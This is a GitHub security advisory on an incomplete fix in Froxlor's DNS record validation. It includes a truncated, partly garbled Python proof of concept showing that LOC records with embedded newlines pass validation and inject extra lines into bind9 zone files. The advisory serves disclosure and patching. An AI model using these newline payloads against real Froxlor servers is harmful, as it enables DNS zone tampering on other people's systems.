GitHub Advisoryadvisory · Packagist

GHSA-j6fm-9rfm-j5hx Froxlor has an incomplete fix for CVE-2026-30932

HIGH Published 2026-05-29 Modified 2026-06-09 Official page ↗
Aliases
CVE-2026-41237
Ecosystem
Packagist
Packages
froxlor/froxlor
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Weaknesses
CWE-74
Reviewed
2026-05-29

Affected packages

• Packagist froxlor/froxlor: < 2.3.7 → fixed in 2.3.7

Description

Summary The LOC record regex uses `\s+` which matches newlines (allowing embedded newlines to pass), TLSA `matchingType=0` has no upper bound on hex data length, and all validators return raw input without zone-file escaping. Affected Package • Ecosystem: Other • Package: froxlor • Affected versions: all versions before fix commit b34829262dc3 • Patched versions: >= commit b34829262dc3 Severity Medium -- CVSS CWE CWE-74 -- Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection) Details DNS record content is concatenated directly into bind9 zone files at `DnsEntry.php` line 83. Before the fix, LOC/RP/SSHFP/TLSA records had no content validation at all, enabling zone file injection via embedded newlines. The fix adds format-specific regexes and field validation but has gaps: the LOC regex's `\s+` matches newlines in PHP's PCRE engine, allowing a LOC record with a newline between fields to pass validation but produce multiple lines in the zone file. TLSA `matchingType=0` only requires `len(data) >= 2` with no upper bound, enabling arbitrarily large payloads. All validators return raw input without zone-file escaping. PoC ```python !/usr/bin/env python3 """ CVE-2026-30932 - Incomplete DNS Record Content Validation in froxlor/froxlor Affected component: lib/Froxlor/Api/Commands/DomainZones.php Vulnerability type: Input Validation / DNS Zone File Injection Patch: https://github.com/froxlor/froxlor/commit/b34829262dc32818b37f6a1eabb426d0b277a86b The patch adds validation for LOC, RP, SSHFP, and TLSA DNS record types. However, the sanitization is incomplete: 1. PRE-FIX: No validation at all - arbitrary content stored as DNS records. 2. POST-FIX BYPASS: LOC regex \s+ matches newlines; TLSA matchingType=0 allows unbounded hex data; validators return raw input without escaping. """ import re import sys import string def vulnerable_add_record(record_type, content): """Pre-fix: no validation for LOC, RP, SSHFP, TLSA.""" errors = [] if record_type in ('LOC', 'RP', 'SSHFP', 'TLSA') and content: pass return {"errors": errors, "content": content} def validate_dns_loc(inp): """Replicates Validate::validateDnsLoc from the patch.""" pattern = re.compile( r'^' r'(\d{1,2})\s+' r'(\d{1,2})\s+' r'(\d{1,2}(?:\.\d+)?)\s+' r'([NS])\s+' r'(\d{1,3})\s+' r'(\d{1,2})\s+' r'(\d{1,2}(?:\.\d+)?)\s+' r'([EW])\s+' r'(-?\d+(?:\.\d+)?)m' r'(?:\s+(\d+(?:\.\d+)?)m' r'(?:\s+(\d+(?:\.\d+)?)m' r'(?:\s+(\d+(?:\.\d+)?)m)?' r')?)?$', re.DOTALL ) m = pattern.match(inp) if not m: return False lat_deg = int(m.group(1)) lat_min = int(m.group(2)) lat_sec = float(m.group(3)) lon_deg = int(m.group(5)) lon_min = int(m.group(6)) lon_sec = float(m.group(7)) if lat_deg > 90: return False if lat_min > 59: return False if lat_sec >= 60: return False if lon_deg > 180: return False if lon_min > 59: return False if lon_sec >= 60: return False return inp def validate_dns_sshfp(inp): """Replicates Validate::validateDnsSshfp from the patch.""" parts = inp.strip().split() if len(parts) != 3: return False algorithm, fp_type, fingerprint = parts valid_algorithms = [1, 2, 3, 4, 6] if not algorithm.isdigit() or int(algorithm) not in valid_algorithms: return False valid_types = [1, 2] if not fp_type.isdigit() or int(fp_type) not in valid_types: return False if not all(c in string.hexdigits for c in fingerprint): return False fp_type_int = int(fp_type) expected = {1: 40, 2: 64}.get(fp_type_int, 0) if len(fingerprint) != expected: return False return inp def validate_dns_tlsa(inp): """Replicates Validate::validateDnsTlsa from the patch.""" parts = inp.strip().split() if len(parts) != 4: return False usage, selector, matching_type, data = parts if not usage.isdigit() or int(usage) not in [0, 1, 2, 3]: return False if not selector.isdigit() or int(selector) not in [0, 1]: return False if not matching_type.isdigit() or int(matching_type) not in [0, 1, 2]: return False if not all(c in string.hexdigits for c in data): return False mt = int(matching_type) if mt == 1 and len(data) != 64: return False if mt == 2 and len(data) != 128: return False if mt == 0 and len(data) 1: print("BYPASS CONFIRMED: LOC with embedded newline passed validation!") print(f"Generated zone output has {len(lines)} lines:") print("---") print(zone_output, end="") print("---") vuln_confirmed = True else: print("Validated but single line output.") else: print("Blocked:", "; ".join(result_loc['errors'])) templates = [ "51\n28 38 N 0 0 1 W 10m", "51 28\n38 N 0 0 1 W 10m", "51 28 38\nN 0 0 1 W 10m", "51 28 38 N\n0 0 1 W 10m", "51 28 38 N 0\n0 1 W 10m", "51 28 38 N 0 0\n1 W 10m", "51 28 38 N 0 0 1\nW 10m", "51 28 38 N 0 0 1 W\n10m", ] for i, t in enumerate(templates): r = fixed_add_record('LOC', t) …

Related

Alias · CVE (1)

  • CVE-2026-41237 Froxlor is open source server administration software. vulnerability

Weakness · CWE (1)

  • CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component weakness

References